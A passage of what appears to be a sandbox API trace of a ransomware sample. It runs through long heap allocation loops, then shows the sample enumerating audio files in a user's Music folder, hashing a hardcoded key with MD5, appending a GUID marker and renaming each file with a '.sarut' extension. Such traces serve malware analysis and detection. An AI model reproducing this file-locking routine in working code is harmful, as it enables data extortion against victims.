hHeap=0x640000) returned 1 [0270.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\") returned="7SLVf8\\" [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0270.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0270.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.922] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.922] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.922] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.922] PathFindFileNameW (pszPath="") returned="" [0270.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd98a3fe0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x4f5656e0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x4f5656e0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.923] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd98a3fe0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x4f5656e0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x4f5656e0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.923] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9589bd0, ftCreationTime.dwHighDateTime=0x1d4cacd, ftLastAccessTime.dwLowDateTime=0x64553560, ftLastAccessTime.dwHighDateTime=0x1d4cbd7, ftLastWriteTime.dwLowDateTime=0x64553560, ftLastWriteTime.dwHighDateTime=0x1d4cbd7, nFileSizeHigh=0x0, nFileSizeLow=0x16862, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0sb N ZRL9SdkEk.m4a", cAlternateFileName="0SBNZR~1.M4A")) returned 1 [0270.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0270.923] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\0sb N ZRL9SdkEk.m4a") returned=".m4a" [0270.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\0sb N ZRL9SdkEk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\0sb n zrl9sdkek.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.925] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=92258) returned 1 [0270.925] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.927] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1683c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.927] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.929] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16862, lpOverlapped=0x0) returned 1 [0270.930] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.930] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.930] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.930] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.931] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.931] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.931] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.931] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.931] GetLastError () returned 0x0 [0270.931] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.931] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.932] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16862, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.932] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.932] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.932] CloseHandle (hObject=0x5c4) returned 1 [0270.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0270.936] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\0sb N ZRL9SdkEk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\0sb n zrl9sdkek.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\0sb N ZRL9SdkEk.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\0sb n zrl9sdkek.m4a.sarut")) returned 1 [0270.938] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd131a520, ftCreationTime.dwHighDateTime=0x1d4d144, ftLastAccessTime.dwLowDateTime=0xa19e8fb0, ftLastAccessTime.dwHighDateTime=0x1d4cf7a, ftLastWriteTime.dwLowDateTime=0xa19e8fb0, ftLastWriteTime.dwHighDateTime=0x1d4cf7a, nFileSizeHigh=0x0, nFileSizeLow=0xf5ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1rcxkwS-WVFCcNTFOvBu.mp3", cAlternateFileName="1RCXKW~1.MP3")) returned 1 [0270.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\1rcxkwS-WVFCcNTFOvBu.mp3") returned=".mp3" [0270.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\1rcxkwS-WVFCcNTFOvBu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\1rcxkws-wvfccntfovbu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.939] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=62922) returned 1 [0270.939] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.942] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.942] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.944] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xf5ca, lpOverlapped=0x0) returned 1 [0270.945] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.946] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.946] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.946] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.947] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.947] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.947] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.947] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.947] GetLastError () returned 0x0 [0270.947] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.947] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.947] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.948] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.948] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.948] CloseHandle (hObject=0x5c4) returned 1 [0270.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\1rcxkwS-WVFCcNTFOvBu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\1rcxkws-wvfccntfovbu.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 